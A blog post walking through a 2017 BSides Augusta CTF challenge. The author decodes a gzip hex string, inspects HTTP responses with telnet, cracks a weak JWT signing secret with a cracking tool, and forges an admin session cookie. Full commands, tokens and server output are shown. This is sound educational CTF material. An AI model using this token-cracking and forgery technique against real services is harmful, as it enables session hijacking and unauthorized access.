Liquid error: internal
I received a screenshot of the above tweet from my teams intern. We're planning to attend BSides Augusta this year, so immediately everything gets thrown to the side so that I can solve (what I thought would be) a quick and easy challenge. It was neither, quick or easy. So I'm going to walk you through the 2-hour process of trying to solve this challenge. I had some help so that will be mixed in with my thoughts as well.
The Easy Part
Looking at the string of text, it looks like hex. I threw it into a hex to ascii converter online and got gibberish. I looked at the string for a minute and noticed that the first few bytes looked really familiar.
1f8b08 is the file signature for a gzip file. Let the record show, that I actually realized that the first few bytes were special on my own. I used Google to verify, but I am proud of myself for even knowing that since it wasn't knowledge that I actively knew I possessed.
I put the hex into a hex editor (also found online) and downloaded the zip file. If you do a
zcat on the file, it prints out an IP address.
zcatis a handy command line tool to
cator print to the console, the contents of a zip file without decompressing the file.
~$ zcat test.gz 126.96.36.199
The Not-So-Easy Part
Visiting that IP address leads to..
Right away I noticed that the site is running over port 80 a.k.a no HTTPS. Also, due to the nature of what I'm doing (trying to hack something), I knew it was probably vulnerable in some way. If you try to brute force it, you'll get a message saying that you can't do that. Below is what happens if you try to enter 'Admin' as the user and 'admin' as the password.
I used the 'Inspect' feature of Google Chrome to look at the source code.
Telnet is a command line tool that can be used to manually communicate with a server over a specified port. For example, if you want to send an HTTP GET request manually or specially craft one yourself, you can use telnet to do that.
$ telnet 188.8.131.52 80 Trying 184.108.40.206... Connected to 220.127.116.11.bc.googleusercontent.com. Escape character is '^]'. GET /home.html HTTP/1.0 HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 54 Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9.akXnslG9494KsLHyRf6pJBlCAVgmZSNBMwOE38jCF2s Server: Werkzeug/0.12.2 Python/2.7.12 Date: Thu, 20 Jul 2017 16:24:20 GMT <html><script>window.location.href='/'</script></html>Connection closed by foreign host.
The response from the server gave me a lot of information. I saw that the server is setting a cookie called bsides_augusta_2017 and the value looks like a base64 encoded string.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 decodes to
eyJpc3N1ZWQiOiIyMDE3LTA3LTIwIDE2OjI0OjIwLjUyMjY0NSIsInVzZXIiOiJndWVzdCJ9 decodes to
From this I knew the type of algorithm and cookie type, as well as what user we're showing up as; guest.
If You Give A Site A Cookie...
We need to find a way to forge a cookie that tells the server we're the admin. This is achieved in four steps.
Step 1: Get the Session Cookie With a GET
$ telnet 18.104.22.168 80 Trying 22.214.171.124... Connected to 126.96.36.199.bc.googleusercontent.com. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 2091 Set-Cookie: bsides_augusta_2017=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw Server: Werkzeug/0.12.2 Python/2.7.12 Date: Thu, 27 Jul 2017 02:11:05 GMT
Step 2: Get The Secret Key
This site uses JSON Web Tokens. JWTs are signed using a secret key, so I needed to find out what that is in order to forge the cookie. Brendan Rius' JWT Cracker is what I used to get the key in a matter of seconds.
~/c-jwt-cracker$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJndWVzdCJ9.WtsckOvZlwBNlE4vJuvA9sK0LAZ0zQ47161ogfrZ1Vw Secret is "l3et"
Step 3: Edit the Cookie
To edit the cookie, I used jsonwebtoken.io with the secret I uncovered using
Step 4: Insert The New Value For Your Cookie
There are multiple ways to do this. I have a plugin on my Chrome Browser called Edit This Cookie that allows me to edit the value of a cookie directly. I used this after verifying that the value was correct with telnet.
$ telnet 188.8.131.52 80 Trying 184.108.40.206... Connected to 220.127.116.11.bc.googleusercontent.com. Escape character is '^]'. GET /home.html HTTP/1.1 Host: 18.104.22.168 Cookie: bsides_augusta_2017=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3N1ZWQiOiIyMDE3LTA3LTI3IDAyOjExOjA1LjEwMjYzMCIsInVzZXIiOiJhZG1pbiIsImp0aSI6IjI1NzU0OGIxLTU4MDctNDZiNi05ZDBmLTBkY2FiNzYyM2Y0NSIsImlhdCI6MTUwMTEyMTU2MCwiZXhwIjoxNTAxMTI1MTYwfQ.mHrODuQhBBVcC954lkquc5xOVNZI0fwMuIVNjKD0EAY HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 2974 Server: Werkzeug/0.12.2 Python/2.7.12 Date: Thu, 27 Jul 2017 02:13:41 GMT ... ... ... <!-- Created by Christopher Davis. https://www.linkedin.com/in/christopher-davis-4817b392/ --> ... ... ... <h3>  Challenge Success!</h3> <p>Good job on solving the challenge and being the #11 player to solve the challenge! As one of the first 5 players, you will receive a prize at Bsides August 2017.</br>Simply Provide your details below and someone will contact you.</br> Please do NOT register unless you are attending Bsides Augusta on Sep 16 2017. Tickets can be bought <a href="https://www.eventbrite.com/e/bsidesaugusta-2017-tickets-35553549624?ref=ecount">here</a>.</p> ... ... ... Connection closed by foreign host.
Welp, that's all folks. Replace #11 with #3 and you've got exactly what I saw.
Antoinette Maria@_theycallmetoniAnd I learned how to do something new in the process. "Congratulations, on being the #3 user to solve the challenge… twitter.com/i/web/status/8…16:36 PM - 20 Jul 2017BSidesAugusta @BSidesAugusta
A few of the other guys from SecDSM also started working on this challenge after I asked for help. One of them use BurpSuite to forward the forged cookie to the server (just in case you were curious about alternative ways). I'm not well versed in BurpSuite, but I have a feeling it'll be handy for future challenges that involving web vulnerabilities.
Another one of the guys is the one who found jwtcracker and the token forgery site. I asked him later how he knew to look for these. He said he didn't recognize the webserver used (As seen in the HTTP response from the telnet commands
Server: Werkzeug/0.12.2 Python/2.7.12) and Googled session handling for it. I did the same and you're eventually directed toward JSON Web Tokens. The lesson here is to take the time to pay attention to everything.
This challenge was far more difficult than I initially thought, but it was also extremely beneficial. I've never had to forge a cookie and now I know how and now you do too. Give it a shot.
BSides Augusta is September 16th in Augusta, Georgia. Get more information on their website.
Top comments (2)
This was a fun trip! I've been looking into JWTs a lot recently and at first I was scared there's such an easy cracker. I can only guess that if your secret is long enough (not 4 characters) that it's not going to be cracked quite so easily.
Cool challenge though!
Yes I agree. I did read a few articles while doing some further research later that suggests JWTs shouldn't be used for session management, but I won't pretend to be an expert.I'm fairly certain storing the data in a HTTPS-only cookie would not yield the same result.